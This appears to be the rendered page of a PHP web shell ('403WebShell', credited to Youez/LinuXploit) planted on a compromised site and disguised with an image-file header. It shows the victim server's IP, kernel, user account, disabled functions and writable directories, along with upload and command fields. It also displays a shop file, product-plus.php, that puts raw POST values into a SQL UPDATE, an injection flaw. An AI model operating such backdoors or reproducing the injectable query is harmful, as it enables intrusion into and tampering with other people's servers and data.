���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/ajax/product-plus.php
<?php
include '../action/config.php';

// if(!$_SESSION['id']){
// 	echo ' <script>alert("Please Login First"); window.location.href="./"; </script> ';
// }else{
// 	$userid = $_SESSION['id'];

// 	$id = $_GET['id'] ;
// 	$page = $_GET['page'] ;

// 	$q2 = mysqli_query($con,"UPDATE `cart` SET `qty` = `qty`+1 WHERE `cart`.`id` = '$id'; ");

// 	if($q2 == true && $page=='cart'){
// 		header('location: ./shopping-cart');
// 	}else{
// 	    header('location: ./shopping-cart');
// 	}

// }

if(isset($_POST['cqty'])){
	$cqty = $_POST['cqty'];
	$cid = $_POST['cid'];
	
	mysqli_query($con,"UPDATE `cart` SET `qty` = '$cqty' WHERE `cart`.`id` = '$cid'; ");
	header('location: ./shopping-cart');

// 	$tprice = $qty*$pprice;
// 	$stmt = $conn->prepare("UPDATE cart SET qty=? WHERE id=?");
// 	$stmt->bind_param("ii",$qty,$pid);
// 	$stmt->execute();
}
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit